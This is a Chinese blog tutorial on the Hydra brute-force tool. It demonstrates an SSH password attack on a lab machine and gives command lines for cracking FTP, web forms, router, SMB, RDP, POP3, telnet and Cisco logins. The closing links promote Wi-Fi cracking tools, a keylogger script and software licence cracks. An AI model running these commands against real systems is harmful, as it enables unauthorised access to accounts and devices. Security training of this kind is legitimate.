一篇文章总结暴力破解方法大全
九头蛇hydra
大家都看过美国队长吧
对大反派hydra组织还有印象吗?
今天介绍的这款APP,也叫这个名字。
hydra是强力thc的一款开源的暴力破解工具
功能非常强大
kali下是默认安装的,几乎支持所有协议的在线破解。
能否暴力破解,最重要在于字典是否强大
还有电脑的性能足够能跑
我们就介绍下,这个装备怎么用
使用方法
语法:Hydra 参数 IP 服务
参数:
-l login 小写; 指定用户 进行 破解
-L file 大写,指定用户的username字典
-p pass 小写,用于指定密码破解,很少使用,一般采用密码字典。
-P file 大写,用于指定密码字典。
-e ns 额外的选项,n:空密码试探,s:使用指定username和密码试探
-M file 指定目标ip列表文件,批量破解。
-o file 指定结果输出文件
-f 找到第一对登录名或者密码的时候中止破解。
-t tasks 同时运行的线程数l默认是16
-w time 设置最大超时时间,单位
-v / -V 显示详细过程
-R 恢复爆破(如果破解中断了,下次执行 hydra -R /path/to/hydra.restore 就可以conitnue任务。)
-x 自定义密码。
service:指定服务名,支持的服务跟协议有:telnet,ftp,pop3等等。
注意点:1.自己创建字典,然后放在当前的目录下或者指定目录。
2.参数可以统一放在最后,格式比如hydra ip 服务 参数。
3.如果能确定用户名一项时候,比如web登录破解,直接用 -l就可以,然后剩余时间破解密码。
4.缺点,如果目标网站登录时候需要验证码就无法破解。
5.man hydra最万能。
6.或者hydra -U http-form等查看具体帮助。
案例分析
暴破ssh登录密码
环境介绍
攻击 :kali
hydra工具靶机:192.168.154.131
ssh服务,正常运行
为了测试方便,我们创建两个简单的字典文件,如下:
开始爆破
root@kali:/opt# hydra -L user.txt -P password.txt -t 2 -vV -e ns 192.168.154.131 ssh
破解成功
测试登录
使用得到的username/密码 登录,登录成功
各种协议破解汇总
FTP协议破解
破解ftp:hydra -L username字典 -P 密码字典 -t 6 -e ns IP地址 -v
http协议破解
get方式提交,破解web登录:hydra -L username -P 密码字典 -t 线程 -v -e ns IP地址 http-get /admin/
hydra -L username -P 密码字典 -t 线程 -v -e ns -f IP地址 http-get /admin/index.phppost方式提交,破解web登录:hydra -f -l username -P 密码字典 -V -s 9900 IP地址 http-post-form "/admin/index.php?action=login:user=USER&pw=PASS:"#/index.php …这个是登录的 url
#后门是POST的数据 其中的username 密码使用 USER PASS 来代替
#然后是如果登录出错 会出现的字符 。。。然后开始破解
https协议破解
破解httpshydra -m /index.php -l username -P 密码字典.txt IP地址 https
路由器破解
hydra -l admin -x 6:10:1a.~!@#$%^&()-= -t 8 192.168.1.1 http-get /
-l admin 为尝试破解的用户名。# -x 6:10:1a. 表示枚举的密码由 数字、小写字母和单字符’.'等等组成,长度为 6 - 10 位。-t 8 表示分 8 个并行任务进行爆破尝试。192.168.1.1 为 Router 地址。http-get 为破解方式(协议)
http-proxy协议破解
破解http-proxy:hydra -l username -P 字典.txt http-proxy://IP地址
smb破解
破解smb:hydra -l username字典 -P 密码字典 IP地址 smb
Windows远程桌面
破解rdp(windows远程登录):hydra ip地址 rdp -l administrator -P 密码字典.txt -V
邮箱pop3
破解邮箱pop3:hydra -l username -P 密码字典.txt my.pop3.mail pop3
telnet破解
hydra ip地址 telnet -l username字典.txt -P 密码字典.txt -t 32 -s 23 -e ns -f -V
语音通讯工具teamspeak
hydra -l 用户名字典 -P 密码字典.txt -s 端口号 -vV ip teamspeak
cisco
hydra -P 密码字典 IP地址 cisco
hydra -m cloud -P 密码字典 IP地址 cisco-enable
推荐阅读
【资源推荐】
渗透测试专用系统
- kali-linux-e17-2019.1a-amd64.iso镜像
- kali-linux-e17-2019.1a-amd64.iso系统镜像_kalilinux2019镜像-Linux文档类资源-CSDN下载
- kali-linux-2018.4-amd64
- kali-linux-2018.4-amd64操作系统-Linux文档类资源-CSDN下载
- manjaro-xfce-17.1.7-stable-x86_64.iso镜像
- manjaro-xfce-17.1.7-stable-x86_64.iso系统镜像_manjaro镜像下载,manjaro系统下载-Linux文档类资源-CSDN下载
- WiFi专用渗透系统 nst-32-11992.x86_64.iso
- nst-32-11992.x86_64.iso操作系统镜像.zip-Linux文档类资源-CSDN下载
- Parrot-security-4.1_amd64.iso 镜像
- Parrot-security-4.1_amd64.iso操作系统镜像_parrotos下载-Linux文档类资源-CSDN下载
- manjaro-xfce-17.1.7-stable-x86_64 操作系统
- manjaro-xfce-17.1.7-stable-x86_64操作系统_Manjaro20xfce-Linux文档类资源-CSDN下载
- cyborg-hawk-linux-v-1.1 系统
- cyborg-hawk-linux-v-1.1操作系统_cyborghwak安装教程-Linux文档类资源-CSDN下载
渗透测试相关工具
- 渗透测试实战专栏
- 【kali常用工具】上网行为工具
- 上网行为工具-网络安全文档类资源-CSDN下载
- 【kali常用工具】抓包工具Charles Windows64位 免费版
- 抓包工具CharlesWindows64位免费版-网络监控文档类资源-CSDN下载
- 【kali常用工具】brutecrack工具[WIFIPR中文版] wpa/wpa2字典
- brutecrack工具[WIFIPR中文版]及wpa/wpa2字典_wifipr-其它文档类资源-CSDN下载
- 【kali常用工具】EWSA 5.1.282-破包工具
- 【kali常用工具】EWSA5.1.282-破包工具_kali跑包工具-管理软件文档类资源-CSDN下载
- 【kali常用工具】无线信号搜索工具_kali更新
- 【kali常用工具】无线信号搜索工具_kali更新_kali更新-互联网文档类资源-CSDN下载
- 【kali常用工具】inssider信号测试软件_kali常用工具
- 【kali常用工具】inssider信号测试软件_kali常用工具_kali常用软件安装-网管软件文档类资源-CSDN下载
- 【kali常用工具】MAC地址修改工具 保护终端不暴露
- 【kali常用工具】MAC地址修改工具保护终端不暴露_python亮晶晶-Linux文档类资源-CSDN下载
- 【kali常用工具】脚本管理工具 php和jsp页面 接收命令参数 在服务器端执行
- 脚本管理工具php和jsp页面接收命令参数在服务器端执行-网络安全文档类资源-CSDN下载
】
- Java实现照片GPS定位【完整脚本】
- ReadPicExif.zip_keepalive_timeout-Java文档类资源-CSDN下载
- Python实现照片GPS定位【完整脚本】
- python定位照片精确位置完整代码脚本_照片定位-Python文档类资源-CSDN下载
- 女神忘记相册密码 python20行代码打开【完整脚本】
- 女神忘记相册密码python20行代码打开.py-Python文档类资源-CSDN下载
- python修改证件照底色、大小、背景、抠图【完整源码】
- python修改证件照底色、大小、背景、抠图【完整源码】-Python文档类资源-CSDN下载
python实战
- 【python实战】前女友婚礼,python破解婚礼现场的WIFI,把名称改成了
- 【python实战】前女友发来加密的 “520快乐.pdf“,我用python破解开之后,却发现
- 【python实战】昨晚,我用python帮隔壁小姐姐P证件照 自拍,然后发现...
- 【python实战】女友半夜加班发自拍 python男友用30行代码发现惊天秘密
- 【python实战】python你TM太皮了——区区30行代码就能记录键盘的一举一动
- 【python实战】女神相册密码忘记了,我只用Python写了20行代码~~~
【pygame开发实战开发 完整源码下载】
- https://download.csdn.net/download/weixin_42350212/15836285
【pygame游戏开发专栏,获取完整源码+教程】
- 一起来学pygame吧 游戏开发30例(二)——塔防游戏
- 一起来学pygame吧 游戏开发30例(四)——俄罗斯方块小游戏
- 渗透测试实战专栏
- Windows AD/Exchange管理专栏
- Linux高性能服务器搭建
- PowerShell自动化专栏
CSDN官方学习推荐 ↓ ↓ ↓
- CSDN出的Python全栈知识图谱,太强了,推荐给大家!
一篇文章总结暴力破解方法大全相关推荐
- webstorm 2018 激活破解方法大全(转)
原文地址 webstorm 2018 激活破解方法大全 精品模版网站 织梦模板网站 织梦超人采集侠 功能介绍 了解更多请加群 79231594 织梦超人采集侠 价格 注册时,在打开的License ...
- webstorm 2019 激活破解方法大全
webstorm 2019 激活破解方法大全 方法一:使用破解补丁 这个一劳永逸推荐用这个激活. 最新版本下载地址:IntelliJ IDEA 破解补丁 注册码 第一步:将补丁复制到安装目录的bin目 ...
- 压缩包.zip暴力破解方法
一: 前言 本方法基于虚拟机下的kali系统,软件为kali自带的fcrackzip,有兴趣的童鞋请自行研究下载. 二:方法说明 fcrackzip -help 常用参数中文说明: -b 暴力破解模式 ...
- webstorm 2017 激活破解方法大全(亲测有效)
webstorm 作为最近最火的前端开发工具,也确实对得起那个价格,但是秉着勤俭节约的传统美德,我们肯定是能省则省啊. 方法一:(更新时间:2018/1/23)v3.3 注册时,在打开的License ...
- webstorm 2018 激活破解方法大全(亲 测)
我亲测第三种补丁法可行 方法一:(更新时间:2018/4/8)v3.3 不一定长期有效 注册时,在打开的License Activation窗口中选择"License server" ...
- webstorm 2018 激活破解方法大全 亲测第三个有用
进入http://idea.lanyus.com/,如图: 下载http://idea.lanyus.com/jar/JetbrainsCrack-3.1-release-enc.jar . 然后将补 ...
- 暴力破解宽带,版本2
在第一个版本中讲到了如何破解宽带账号 上一篇文章 <暴力破解宽带账号> 但对于之前的代码个人觉得写的不好,因此准备第二个版本 建立一个宽带连接 注意拨号名称为宽带连接 与后面代码connA ...
- DEDECMS教程:上/下一篇文章标题长度的截取方法
对dedecms了解的朋友们,想必对如何获取上一篇.下一篇文章的标签也是非常熟悉.dedecms获取上一篇.下一篇文章的标签分别为:{dede:prenext get='pre'/}.{dede:pr ...
- 写给仿真软件研发的“一篇文章入门”系列(终)
"一篇文章入门"系列不再更新,点击绿色标题可打开链接. 一篇文章入门系列主要针对工业仿真软件研发测试人员,也可作为相关从业人员和学生,以及对仿真软件开发感兴趣的读者. 所有文章来自 ...
最新文章
- c语言如何给阻塞函数加超时,在代码中写一个延时而不阻塞的函数方法,给大家的参考 - 单片机 -
电子工程世界-论坛 -
手机版...
- JSt中对象的prototype属性
- make sure the Graphviz executables are on your systems‘ PATH
- SecureCRT 中 python 命令行使用退格键(backspace)出现 ^H 解决办法
- jwt配置 restful_SpringBoot实现JWT保护前后端分离RESTful API
- Hadoop-HBASE案例分析-Hadoop学习笔记二
- chrome html 读写文件路径,Chrome浏览器支持直接读写本地文件了
- HDU3788 ZOJ问题
- 北京 || Java 技术、生活、工作交流社区
- 在android的jni线程C传回调函数给java
- 一键搞定JavaEE应用 JRE+Tomcat+Mysql-JaveEE绿色运行环境JTM0 9版
- ads软件是什么?有什么用?怎么用?
- html 倒计时 插件,jquery.jcountdown.js倒计时插件(推荐)
- AndroidUI:Android的Holo Theme
- 找寻 手游BUG的学习
- Forge 养号手机在线源安装方式;
- 编程求球的体积和表面积(c语言)
- 遥感测绘技术在考古中的应用
- Android 9 ServerManger源码分析
- 阿里妈妈一面简历面-半小时直接挂